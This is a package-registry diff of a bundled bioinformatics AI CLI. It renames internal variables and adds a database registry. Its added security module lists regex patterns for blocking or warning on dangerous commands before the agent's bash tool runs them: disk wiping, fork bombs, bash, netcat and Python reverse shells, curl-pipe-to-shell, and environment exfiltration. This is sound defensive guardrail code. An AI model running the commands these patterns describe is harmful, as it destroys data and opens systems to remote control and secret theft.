@bgicli/bgicli 2.2.14 → 2.2.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/bgi.js +828 -158
  2. package/package.json +1 -1
package/dist/bgi.js CHANGED
@@ -2092,7 +2092,7 @@ var require_lib2 = __commonJS({
2092
2092
  let accum = [];
2093
2093
  let accumBytes = 0;
2094
2094
  let abort = false;
2095
- return new Body.Promise(function(resolve3, reject) {
2095
+ return new Body.Promise(function(resolve4, reject) {
2096
2096
  let resTimeout;
2097
2097
  if (_this4.timeout) {
2098
2098
  resTimeout = setTimeout(function() {
@@ -2126,7 +2126,7 @@ var require_lib2 = __commonJS({
2126
2126
  }
2127
2127
  clearTimeout(resTimeout);
2128
2128
  try {
2129
- resolve3(Buffer.concat(accum, accumBytes));
2129
+ resolve4(Buffer.concat(accum, accumBytes));
2130
2130
  } catch (err) {
2131
2131
  reject(new FetchError(`Could not create Buffer from response body for ${_this4.url}: ${err.message}`, "system", err));
2132
2132
  }
@@ -2801,7 +2801,7 @@ var require_lib2 = __commonJS({
2801
2801
  throw new Error("native promise missing, set fetch.Promise to your favorite alternative");
2802
2802
  }
2803
2803
  Body.Promise = fetch2.Promise;
2804
- return new fetch2.Promise(function(resolve3, reject) {
2804
+ return new fetch2.Promise(function(resolve4, reject) {
2805
2805
  const request = new Request3(url, opts);
2806
2806
  const options = getNodeRequestOptions(request);
2807
2807
  const send = (options.protocol === "https:" ? https : http).request;
@@ -2934,7 +2934,7 @@ var require_lib2 = __commonJS({
2934
2934
  requestOpts.body = void 0;
2935
2935
  requestOpts.headers.delete("content-length");
2936
2936
  }
2937
- resolve3(fetch2(new Request3(locationURL, requestOpts)));
2937
+ resolve4(fetch2(new Request3(locationURL, requestOpts)));
2938
2938
  finalize();
2939
2939
  return;
2940
2940
  }
@@ -2955,7 +2955,7 @@ var require_lib2 = __commonJS({
2955
2955
  const codings = headers.get("Content-Encoding");
2956
2956
  if (!request.compress || request.method === "HEAD" || codings === null || res.statusCode === 204 || res.statusCode === 304) {
2957
2957
  response = new Response3(body, response_options);
2958
- resolve3(response);
2958
+ resolve4(response);
2959
2959
  return;
2960
2960
  }
2961
2961
  const zlibOptions = {
@@ -2965,7 +2965,7 @@ var require_lib2 = __commonJS({
2965
2965
  if (codings == "gzip" || codings == "x-gzip") {
2966
2966
  body = body.pipe(zlib.createGunzip(zlibOptions));
2967
2967
  response = new Response3(body, response_options);
2968
- resolve3(response);
2968
+ resolve4(response);
2969
2969
  return;
2970
2970
  }
2971
2971
  if (codings == "deflate" || codings == "x-deflate") {
@@ -2977,12 +2977,12 @@ var require_lib2 = __commonJS({
2977
2977
  body = body.pipe(zlib.createInflateRaw());
2978
2978
  }
2979
2979
  response = new Response3(body, response_options);
2980
- resolve3(response);
2980
+ resolve4(response);
2981
2981
  });
2982
2982
  raw.on("end", function() {
2983
2983
  if (!response) {
2984
2984
  response = new Response3(body, response_options);
2985
- resolve3(response);
2985
+ resolve4(response);
2986
2986
  }
2987
2987
  });
2988
2988
  return;
@@ -2990,11 +2990,11 @@ var require_lib2 = __commonJS({
2990
2990
  if (codings == "br" && typeof zlib.createBrotliDecompress === "function") {
2991
2991
  body = body.pipe(zlib.createBrotliDecompress());
2992
2992
  response = new Response3(body, response_options);
2993
- resolve3(response);
2993
+ resolve4(response);
2994
2994
  return;
2995
2995
  }
2996
2996
  response = new Response3(body, response_options);
2997
- resolve3(response);
2997
+ resolve4(response);
2998
2998
  });
2999
2999
  writeToStream(req, request);
3000
3000
  });
@@ -6932,9 +6932,9 @@ var chalkStderr = createChalk({ level: stderrColor ? stderrColor.level : 0 });
6932
6932
  var source_default = chalk;
6933
6933
 
6934
6934
  // src/index.ts
6935
- var import_fs5 = require("fs");
6936
- var import_path5 = require("path");
6937
- var import_os3 = require("os");
6935
+ var import_fs6 = require("fs");
6936
+ var import_path6 = require("path");
6937
+ var import_os4 = require("os");
6938
6938
  var import_https2 = require("https");
6939
6939
  var import_child_process2 = require("child_process");
6940
6940
 
@@ -8372,8 +8372,8 @@ function _addRequestID(value, response) {
8372
8372
  }
8373
8373
  var APIPromise = class _APIPromise extends Promise {
8374
8374
  constructor(responsePromise, parseResponse2 = defaultParseResponse) {
8375
- super((resolve3) => {
8376
- resolve3(null);
8375
+ super((resolve4) => {
8376
+ resolve4(null);
8377
8377
  });
8378
8378
  this.responsePromise = responsePromise;
8379
8379
  this.parseResponse = parseResponse2;
@@ -8948,7 +8948,7 @@ var startsWithSchemeRegexp = /^[a-z][a-z0-9+.-]*:/i;
8948
8948
  var isAbsoluteURL = (url) => {
8949
8949
  return startsWithSchemeRegexp.test(url);
8950
8950
  };
8951
- var sleep = (ms) => new Promise((resolve3) => setTimeout(resolve3, ms));
8951
+ var sleep = (ms) => new Promise((resolve4) => setTimeout(resolve4, ms));
8952
8952
  var validatePositiveInteger = (name, n2) => {
8953
8953
  if (typeof n2 !== "number" || !Number.isInteger(n2)) {
8954
8954
  throw new OpenAIError(`${name} must be an integer`);
@@ -9381,12 +9381,12 @@ var EventStream = class {
9381
9381
  _EventStream_errored.set(this, false);
9382
9382
  _EventStream_aborted.set(this, false);
9383
9383
  _EventStream_catchingPromiseCreated.set(this, false);
9384
- __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve3, reject) => {
9385
- __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve3, "f");
9384
+ __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve4, reject) => {
9385
+ __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve4, "f");
9386
9386
  __classPrivateFieldSet7(this, _EventStream_rejectConnectedPromise, reject, "f");
9387
9387
  }), "f");
9388
- __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve3, reject) => {
9389
- __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve3, "f");
9388
+ __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve4, reject) => {
9389
+ __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve4, "f");
9390
9390
  __classPrivateFieldSet7(this, _EventStream_rejectEndPromise, reject, "f");
9391
9391
  }), "f");
9392
9392
  __classPrivateFieldGet8(this, _EventStream_connectedPromise, "f").catch(() => {
@@ -9470,11 +9470,11 @@ var EventStream = class {
9470
9470
  * const message = await stream.emitted('message') // rejects if the stream errors
9471
9471
  */
9472
9472
  emitted(event) {
9473
- return new Promise((resolve3, reject) => {
9473
+ return new Promise((resolve4, reject) => {
9474
9474
  __classPrivateFieldSet7(this, _EventStream_catchingPromiseCreated, true, "f");
9475
9475
  if (event !== "error")
9476
9476
  this.once("error", reject);
9477
- this.once(event, resolve3);
9477
+ this.once(event, resolve4);
9478
9478
  });
9479
9479
  }
9480
9480
  async done() {
@@ -9627,7 +9627,7 @@ var AssistantStream = class _AssistantStream extends EventStream {
9627
9627
  if (done) {
9628
9628
  return { value: void 0, done: true };
9629
9629
  }
9630
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9630
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9631
9631
  }
9632
9632
  const chunk = pushQueue.shift();
9633
9633
  return { value: chunk, done: false };
@@ -11245,7 +11245,7 @@ var ChatCompletionStream = class _ChatCompletionStream extends AbstractChatCompl
11245
11245
  if (done) {
11246
11246
  return { value: void 0, done: true };
11247
11247
  }
11248
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11248
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11249
11249
  }
11250
11250
  const chunk = pushQueue.shift();
11251
11251
  return { value: chunk, done: false };
@@ -12896,7 +12896,7 @@ var ResponseStream = class _ResponseStream extends EventStream {
12896
12896
  if (done) {
12897
12897
  return { value: void 0, done: true };
12898
12898
  }
12899
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12899
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12900
12900
  }
12901
12901
  const event = pushQueue.shift();
12902
12902
  return { value: event, done: false };
@@ -13605,6 +13605,7 @@ var BGI_DIR = (0, import_path2.join)((0, import_os.homedir)(), ".bgicli");
13605
13605
  var WORKFLOWS_DIR = (0, import_path2.join)(BGI_DIR, "workflows");
13606
13606
  var TOOLS_DIR = (0, import_path2.join)(BGI_DIR, "tools");
13607
13607
  var SKILLS_DIR = (0, import_path2.join)(BGI_DIR, "skills");
13608
+ var DATABASES_FILE = (0, import_path2.join)(BGI_DIR, "databases.json");
13608
13609
  var CONFIG_FILE = (0, import_path2.join)(BGI_DIR, "config.json");
13609
13610
  function ensureDirs() {
13610
13611
  for (const dir of [BGI_DIR, WORKFLOWS_DIR, TOOLS_DIR, SKILLS_DIR]) {
@@ -13636,6 +13637,205 @@ var import_path3 = require("path");
13636
13637
  var import_os2 = require("os");
13637
13638
  var import_https = require("https");
13638
13639
  var import_http = require("http");
13640
+
13641
+ // src/security.ts
13642
+ var PATTERNS = [
13643
+ // ── CRITICAL: always block ─────────────────────────────────────────────────
13644
+ {
13645
+ id: "rm-root",
13646
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\s*$/,
13647
+ level: "CRITICAL",
13648
+ reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)"
13649
+ },
13650
+ {
13651
+ id: "rm-root-star",
13652
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\*/,
13653
+ level: "CRITICAL",
13654
+ reason: "\u5220\u9664\u6839\u76EE\u5F55\u6240\u6709\u5185\u5BB9 (rm -rf /*)"
13655
+ },
13656
+ {
13657
+ id: "rm-home",
13658
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+(~|\$HOME)\s*$/,
13659
+ level: "CRITICAL",
13660
+ reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~/)"
13661
+ },
13662
+ {
13663
+ id: "fork-bomb",
13664
+ pattern: /:\(\)\s*\{[^}]*:\s*\|\s*:&[^}]*\}/,
13665
+ level: "CRITICAL",
13666
+ reason: "Fork bomb \u2014 \u8017\u5C3D\u7CFB\u7EDF\u8FDB\u7A0B"
13667
+ },
13668
+ {
13669
+ id: "dd-disk",
13670
+ pattern: /\bdd\s+.*if=\/dev\/(zero|random|urandom)\s+.*of=\/dev\/[a-z]/,
13671
+ level: "CRITICAL",
13672
+ reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd if=/dev/zero of=/dev/sd*)"
13673
+ },
13674
+ {
13675
+ id: "mkfs",
13676
+ pattern: /\bmkfs(\.[a-z0-9]+)?\s+\/dev\//,
13677
+ level: "CRITICAL",
13678
+ reason: "\u683C\u5F0F\u5316\u78C1\u76D8\u5206\u533A (mkfs)"
13679
+ },
13680
+ {
13681
+ id: "write-disk-raw",
13682
+ pattern: />\s*\/dev\/sd[a-z][0-9]?(?!\w)/,
13683
+ level: "CRITICAL",
13684
+ reason: "\u76F4\u63A5\u5199\u5165\u88F8\u78C1\u76D8\u8BBE\u5907"
13685
+ },
13686
+ {
13687
+ id: "reverse-shell-bash",
13688
+ pattern: /bash\s+-i\s*>&?\s*\/dev\/tcp\//,
13689
+ level: "CRITICAL",
13690
+ reason: "bash \u53CD\u5F39 shell (bash -i >& /dev/tcp/)"
13691
+ },
13692
+ {
13693
+ id: "reverse-shell-nc",
13694
+ pattern: /\bnc\s+.*-e\s+\/bin\/(ba)?sh/,
13695
+ level: "CRITICAL",
13696
+ reason: "netcat \u53CD\u5F39 shell (nc -e /bin/sh)"
13697
+ },
13698
+ // ── HIGH: warn user ────────────────────────────────────────────────────────
13699
+ {
13700
+ id: "curl-pipe-exec",
13701
+ pattern: /curl\s+[^|]*\|\s*(ba)?sh/,
13702
+ level: "HIGH",
13703
+ reason: "curl \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13704
+ },
13705
+ {
13706
+ id: "wget-pipe-exec",
13707
+ pattern: /wget\s+[^|]*\|\s*(ba)?sh/,
13708
+ level: "HIGH",
13709
+ reason: "wget \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13710
+ },
13711
+ {
13712
+ id: "eval-base64",
13713
+ pattern: /\beval\s*[\(\$`].*base64/i,
13714
+ level: "HIGH",
13715
+ reason: "eval(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13716
+ },
13717
+ {
13718
+ id: "python-exec-base64",
13719
+ pattern: /python[23]?\s+-c\s+["'].*exec\s*\(.*base64/i,
13720
+ level: "HIGH",
13721
+ reason: "Python exec(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13722
+ },
13723
+ {
13724
+ id: "cred-aws",
13725
+ pattern: /\bAKID[A-Z0-9]{16,}\b|\bAKIA[0-9A-Z]{16}\b/,
13726
+ level: "HIGH",
13727
+ reason: "AWS/\u817E\u8BAF\u4E91 Access Key \u7591\u4F3C\u6CC4\u9732"
13728
+ },
13729
+ {
13730
+ id: "cred-private-key",
13731
+ pattern: /-----BEGIN\s+(RSA|EC|OPENSSH|DSA|ENCRYPTED)\s+PRIVATE KEY-----/,
13732
+ level: "HIGH",
13733
+ reason: "\u79C1\u94A5\u5185\u5BB9\u6CC4\u9732"
13734
+ },
13735
+ {
13736
+ id: "cred-gh-token",
13737
+ pattern: /\bghp_[A-Za-z0-9]{36}\b|\bgho_[A-Za-z0-9]{36}\b/,
13738
+ level: "HIGH",
13739
+ reason: "GitHub Personal Access Token \u6CC4\u9732"
13740
+ },
13741
+ {
13742
+ id: "env-exfil",
13743
+ pattern: /\benv\b[^|]*\|\s*(curl|wget|nc)\b/,
13744
+ level: "HIGH",
13745
+ reason: "\u73AF\u5883\u53D8\u91CF\u901A\u8FC7\u7F51\u7EDC\u6CC4\u9732"
13746
+ },
13747
+ {
13748
+ id: "reverse-shell-python",
13749
+ pattern: /python[23]?\s+-c\s+["'].*socket.*connect.*subprocess/s,
13750
+ level: "HIGH",
13751
+ reason: "Python \u53CD\u5F39 shell"
13752
+ },
13753
+ // ── MEDIUM: warn, allow ────────────────────────────────────────────────────
13754
+ {
13755
+ id: "chmod-777-r",
13756
+ pattern: /\bchmod\s+(-R\s+)?777\s+\//,
13757
+ level: "MEDIUM",
13758
+ reason: "\u9012\u5F52\u8BBE\u7F6E 777 \u6743\u9650\uFF08\u53EF\u80FD\u66B4\u9732\u7CFB\u7EDF\u6587\u4EF6\uFF09"
13759
+ },
13760
+ {
13761
+ id: "setuid-bit",
13762
+ pattern: /\bchmod\s+[uo]\+s\b/,
13763
+ level: "MEDIUM",
13764
+ reason: "\u8BBE\u7F6E setuid/setgid \u4F4D"
13765
+ },
13766
+ {
13767
+ id: "cron-modify",
13768
+ pattern: /\bcrontab\s+-[il]/,
13769
+ level: "MEDIUM",
13770
+ reason: "\u4FEE\u6539 cron \u5B9A\u65F6\u4EFB\u52A1"
13771
+ },
13772
+ {
13773
+ id: "history-clear",
13774
+ pattern: /history\s+-[cw]|>\s*~\/\.bash_history/,
13775
+ level: "MEDIUM",
13776
+ reason: "\u6E05\u9664 shell \u5386\u53F2\u8BB0\u5F55"
13777
+ },
13778
+ {
13779
+ id: "iptables-flush",
13780
+ pattern: /\biptables\s+-F\b/,
13781
+ level: "MEDIUM",
13782
+ reason: "\u6E05\u7A7A\u9632\u706B\u5899\u89C4\u5219 (iptables -F)"
13783
+ },
13784
+ // ── LOW: info only ─────────────────────────────────────────────────────────
13785
+ {
13786
+ id: "curl-insecure",
13787
+ pattern: /\bcurl\s+.*(-k|--insecure)\b/,
13788
+ level: "LOW",
13789
+ reason: "curl \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13790
+ },
13791
+ {
13792
+ id: "wget-no-cert",
13793
+ pattern: /\bwget\s+.*--no-check-certificate\b/,
13794
+ level: "LOW",
13795
+ reason: "wget \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13796
+ },
13797
+ {
13798
+ id: "sudo-usage",
13799
+ pattern: /\bsudo\b/,
13800
+ level: "LOW",
13801
+ reason: "\u4F7F\u7528 sudo \u63D0\u6743"
13802
+ },
13803
+ {
13804
+ id: "nohup-background",
13805
+ pattern: /\bnohup\b.*&\s*$|\bdisown\b/,
13806
+ level: "LOW",
13807
+ reason: "\u540E\u53F0\u9A7B\u7559\u8FDB\u7A0B"
13808
+ }
13809
+ ];
13810
+ function scanCommand(command) {
13811
+ const matches = [];
13812
+ for (const pat of PATTERNS) {
13813
+ const m2 = command.match(pat.pattern);
13814
+ if (m2) {
13815
+ matches.push({ pattern: pat, matchedText: m2[0] });
13816
+ }
13817
+ }
13818
+ const safe = matches.every((m2) => m2.pattern.level !== "CRITICAL");
13819
+ return { safe, matches };
13820
+ }
13821
+ function scanSkillMd(markdownContent) {
13822
+ const bashBlocks = [...markdownContent.matchAll(/```(?:bash|sh)\n([\s\S]*?)```/g)].map((m2) => m2[1]);
13823
+ const allMatches = [];
13824
+ for (const block of bashBlocks) {
13825
+ for (const line of block.split("\n")) {
13826
+ const r2 = scanCommand(line.trim());
13827
+ allMatches.push(...r2.matches);
13828
+ }
13829
+ }
13830
+ return {
13831
+ criticalCount: allMatches.filter((m2) => m2.pattern.level === "CRITICAL").length,
13832
+ highCount: allMatches.filter((m2) => m2.pattern.level === "HIGH").length,
13833
+ mediumCount: allMatches.filter((m2) => m2.pattern.level === "MEDIUM").length,
13834
+ matches: allMatches
13835
+ };
13836
+ }
13837
+
13838
+ // src/tools.ts
13639
13839
  var TOOL_DEFINITIONS = [
13640
13840
  {
13641
13841
  type: "function",
@@ -13806,33 +14006,24 @@ function decodeBuffer(buf) {
13806
14006
  }
13807
14007
  }
13808
14008
  }
13809
- var DANGEROUS_PATTERNS = [
13810
- { pattern: /rm\s+-rf\s+\/(?!\S)/, reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)" },
13811
- { pattern: /rm\s+-rf\s+~(?!\S)/, reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~)" },
13812
- { pattern: /rm\s+-rf\s+\$HOME(?!\S)/, reason: "\u5220\u9664 $HOME \u76EE\u5F55" },
13813
- { pattern: /dd\s+if=\/dev\/(?:zero|random|urandom)\s+of=\/dev\//, reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd)" },
13814
- { pattern: /mkfs\b/, reason: "\u683C\u5F0F\u5316\u6587\u4EF6\u7CFB\u7EDF (mkfs)" },
13815
- { pattern: />\s*\/dev\/sd[a-z]/, reason: "\u76F4\u63A5\u5199\u5165\u78C1\u76D8\u8BBE\u5907" },
13816
- { pattern: /chmod\s+-R\s+777\s+\/(?!\S)/, reason: "\u9012\u5F52\u4FEE\u6539\u6839\u76EE\u5F55\u6743\u9650" },
13817
- { pattern: /:\(\)\s*\{.*\}.*:/, reason: "Fork bomb \u68C0\u6D4B" }
13818
- ];
13819
- function checkDangerousCommand(command) {
13820
- for (const { pattern, reason } of DANGEROUS_PATTERNS) {
13821
- if (pattern.test(command)) return reason;
13822
- }
13823
- return null;
13824
- }
13825
14009
  async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13826
- const danger = checkDangerousCommand(command);
13827
- if (danger) {
14010
+ const scan = scanCommand(command);
14011
+ const criticals = scan.matches.filter((m2) => m2.pattern.level === "CRITICAL");
14012
+ if (criticals.length > 0) {
14013
+ const reasons = criticals.map((m2) => m2.pattern.reason).join("\u3001");
13828
14014
  return {
13829
14015
  output: "",
13830
- error: `\u26A0\uFE0F \u5B89\u5168\u62E6\u622A\uFF1A\u68C0\u6D4B\u5230\u5371\u9669\u547D\u4EE4\uFF08${danger}\uFF09\u3002
13831
- \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62\uFF0C\u8BF7\u786E\u8BA4\u4F60\u7684\u610F\u56FE\u540E\u624B\u52A8\u6267\u884C\u3002
13832
- \u88AB\u62E6\u622A\u7684\u547D\u4EE4: ${command}`
14016
+ error: `\u5B89\u5168\u62E6\u622A [CRITICAL]: ${reasons}
14017
+ \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62: ${command}`
13833
14018
  };
13834
14019
  }
13835
- return new Promise((resolve3) => {
14020
+ const highs = scan.matches.filter((m2) => m2.pattern.level === "HIGH");
14021
+ if (highs.length > 0) {
14022
+ const reasons = highs.map((m2) => m2.pattern.reason).join("\u3001");
14023
+ if (onStream) onStream(`\u26A0 \u5B89\u5168\u8B66\u544A [HIGH]: ${reasons}
14024
+ `);
14025
+ }
14026
+ return new Promise((resolve4) => {
13836
14027
  const isWin = process.platform === "win32";
13837
14028
  const child = (0, import_child_process.spawn)(isWin ? "cmd" : "/bin/sh", isWin ? ["/c", command] : ["-c", command], {
13838
14029
  cwd: workdir ?? process.cwd(),
@@ -13864,16 +14055,16 @@ async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13864
14055
  clearTimeout(timer);
13865
14056
  const out = (decodeBuffer(Buffer.concat(outChunks)) + "\n" + decodeBuffer(Buffer.concat(errChunks))).trim();
13866
14057
  if (timedOut) {
13867
- resolve3({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
14058
+ resolve4({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
13868
14059
  } else if (code !== 0) {
13869
- resolve3({ output: out, error: `Command failed (exit ${code})` });
14060
+ resolve4({ output: out, error: `Command failed (exit ${code})` });
13870
14061
  } else {
13871
- resolve3({ output: out });
14062
+ resolve4({ output: out });
13872
14063
  }
13873
14064
  });
13874
14065
  child.on("error", (err) => {
13875
14066
  clearTimeout(timer);
13876
- resolve3({ output: "", error: err.message });
14067
+ resolve4({ output: "", error: err.message });
13877
14068
  });
13878
14069
  });
13879
14070
  }
@@ -13911,11 +14102,11 @@ async function toolSearchFiles(pattern, rootPath) {
13911
14102
  return toolBash(command, resolved, 1e4);
13912
14103
  }
13913
14104
  function httpFetch(url, timeoutMs = 15e3) {
13914
- return new Promise((resolve3, reject) => {
14105
+ return new Promise((resolve4, reject) => {
13915
14106
  const getter = url.startsWith("https") ? import_https.get : import_http.get;
13916
14107
  const req = getter(url, { headers: { "User-Agent": "BGI-CLI/1.0" } }, (res) => {
13917
14108
  if ((res.statusCode === 301 || res.statusCode === 302) && res.headers.location) {
13918
- httpFetch(res.headers.location, timeoutMs).then(resolve3).catch(reject);
14109
+ httpFetch(res.headers.location, timeoutMs).then(resolve4).catch(reject);
13919
14110
  return;
13920
14111
  }
13921
14112
  if (res.statusCode && res.statusCode >= 400) {
@@ -13924,7 +14115,7 @@ function httpFetch(url, timeoutMs = 15e3) {
13924
14115
  }
13925
14116
  const chunks = [];
13926
14117
  res.on("data", (c2) => chunks.push(c2));
13927
- res.on("end", () => resolve3(Buffer.concat(chunks).toString("utf8")));
14118
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString("utf8")));
13928
14119
  res.on("error", reject);
13929
14120
  });
13930
14121
  req.setTimeout(timeoutMs, () => {
@@ -14027,7 +14218,7 @@ ${shortSummary}`);
14027
14218
  }
14028
14219
 
14029
14220
  // src/chat.ts
14030
- async function chat(messages, config, systemPrompt) {
14221
+ async function chat(messages, config, systemPrompt2) {
14031
14222
  const prov = PROVIDERS[config.provider];
14032
14223
  if (!prov) throw new Error(`Unknown provider: ${config.provider}`);
14033
14224
  if (config.provider === "custom") {
@@ -14041,7 +14232,7 @@ async function chat(messages, config, systemPrompt) {
14041
14232
  if (requiresKey && !apiKey) throw new Error(`\u672A\u914D\u7F6E API Key (${config.provider})\u3002\u8FD0\u884C: /connect`);
14042
14233
  const client = new openai_default({ apiKey: apiKey || "none", baseURL });
14043
14234
  const fullMessages = [
14044
- { role: "system", content: systemPrompt },
14235
+ { role: "system", content: systemPrompt2 },
14045
14236
  ...messages
14046
14237
  ];
14047
14238
  return await streamLoop(client, fullMessages, config.model);
@@ -14070,15 +14261,32 @@ async function streamLoop(client, messages, model) {
14070
14261
  const label = source_default.dim(`[\u5DE5\u5177: ${tc.name}(${summarizeArgs(args)})]`);
14071
14262
  const t0 = Date.now();
14072
14263
  process.stdout.write(`
14073
- ${label}
14074
- `);
14264
+ ${label} `);
14075
14265
  let streamedLines = 0;
14076
14266
  let lastLineWasEmpty = false;
14267
+ let spinnerCleared = false;
14077
14268
  const MAX_STREAM_LINES = 200;
14078
- let spin = null;
14079
14269
  let frame = 0;
14270
+ const spin = setInterval(() => {
14271
+ if (spinnerCleared) return;
14272
+ const secs = ((Date.now() - t0) / 1e3).toFixed(1);
14273
+ process.stdout.write(
14274
+ `\r${label} ${source_default.cyan(SPIN_FRAMES[frame++ % SPIN_FRAMES.length])} ${source_default.dim(secs + "s")}`
14275
+ );
14276
+ }, 80);
14277
+ const clearSpinner = () => {
14278
+ if (spinnerCleared) return;
14279
+ spinnerCleared = true;
14280
+ clearInterval(spin);
14281
+ process.stdout.write("\r\x1B[2K");
14282
+ };
14080
14283
  const onStream = isBash ? (chunk) => {
14081
14284
  if (streamedLines >= MAX_STREAM_LINES) return;
14285
+ if (streamedLines === 0) {
14286
+ clearSpinner();
14287
+ process.stdout.write(`${label}
14288
+ `);
14289
+ }
14082
14290
  const lines = chunk.split("\n");
14083
14291
  for (let i2 = 0; i2 < lines.length; i2++) {
14084
14292
  const line = lines[i2];
@@ -14098,19 +14306,8 @@ ${label}
14098
14306
  }
14099
14307
  }
14100
14308
  } : void 0;
14101
- if (!isBash) {
14102
- spin = setInterval(() => {
14103
- const secs = ((Date.now() - t0) / 1e3).toFixed(1);
14104
- process.stdout.write(
14105
- `\r ${source_default.cyan(SPIN_FRAMES[frame++ % SPIN_FRAMES.length])} ${source_default.dim(secs + "s")}`
14106
- );
14107
- }, 80);
14108
- }
14109
14309
  const result = await executeTool(tc.name, args, onStream);
14110
- if (spin) {
14111
- clearInterval(spin);
14112
- process.stdout.write("\r\x1B[2K");
14113
- }
14310
+ clearSpinner();
14114
14311
  const elapsed = ((Date.now() - t0) / 1e3).toFixed(1);
14115
14312
  const doneIcon = result.error ? source_default.yellow("\u2717") : source_default.green("\u2713");
14116
14313
  if (isBash && streamedLines > 0) {
@@ -14281,7 +14478,7 @@ function summarizeArgs(args) {
14281
14478
  }
14282
14479
 
14283
14480
  // src/prompt.ts
14284
- function buildSystemPrompt() {
14481
+ function buildSystemPrompt(dbSection) {
14285
14482
  return `You are **BGI CLI**, a specialized bioinformatics AI assistant built for Chinese biological researchers. You run inside a terminal and can execute code, read/write files, and run bash commands to help with real bioinformatics analysis tasks.
14286
14483
 
14287
14484
  ## Core Identity
@@ -14386,6 +14583,14 @@ Python tools are at: **${TOOLS_DIR}**
14386
14583
 
14387
14584
  ---
14388
14585
 
14586
+ ## \u53C2\u8003\u6570\u636E\u5E93 & \u7D22\u5F15
14587
+
14588
+ ${dbSection ?? "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09"}
14589
+
14590
+ **\u4F7F\u7528\u539F\u5219**\uFF1A\u5206\u6790\u65F6\u4F18\u5148\u4F7F\u7528\u5DF2\u6CE8\u518C\u7684\u672C\u5730\u6570\u636E\u5E93\u8DEF\u5F84\uFF0C\u65E0\u9700\u91CD\u590D\u4E0B\u8F7D\u3002\u8DEF\u5F84\u5E26 \u26A0 \u8868\u793A\u6587\u4EF6\u5DF2\u4E0D\u5B58\u5728\uFF0C\u9700\u91CD\u65B0\u786E\u8BA4\u3002
14591
+
14592
+ ---
14593
+
14389
14594
  ## OpenClaw Medical Skills (979\u4E2A\u4E13\u79D1\u6280\u80FD)
14390
14595
 
14391
14596
  \u6280\u80FD\u5E93\u4F4D\u4E8E: **${SKILLS_DIR}**
@@ -14538,6 +14743,273 @@ message(sprintf("\u603B\u57FA\u56E0\u6570: %d | \u663E\u8457 DEG: %d (\u4E0A\u8C
14538
14743
  \u2192 \u7ACB\u5373\u8C03\u7528 fetch_geo("GSE12345") \u83B7\u53D6\u5143\u6570\u636E\u548C\u4E0B\u8F7D\u4EE3\u7801\uFF0C\u65E0\u9700\u8BA9\u7528\u6237\u624B\u52A8\u4E0B\u8F7D`;
14539
14744
  }
14540
14745
 
14746
+ // src/databases.ts
14747
+ var import_fs4 = require("fs");
14748
+ var import_path4 = require("path");
14749
+ var import_os3 = require("os");
14750
+ function loadDbRegistry() {
14751
+ if (!(0, import_fs4.existsSync)(DATABASES_FILE)) {
14752
+ return { version: 1, lastScan: null, databases: {} };
14753
+ }
14754
+ try {
14755
+ return JSON.parse((0, import_fs4.readFileSync)(DATABASES_FILE, "utf8"));
14756
+ } catch {
14757
+ return { version: 1, lastScan: null, databases: {} };
14758
+ }
14759
+ }
14760
+ function saveDbRegistry(registry) {
14761
+ (0, import_fs4.writeFileSync)(DATABASES_FILE, JSON.stringify(registry, null, 2), "utf8");
14762
+ }
14763
+ function addDbEntry(registry, entry) {
14764
+ const id = entry.id ?? slugify(`${entry.genome}-${entry.type}-${Date.now()}`);
14765
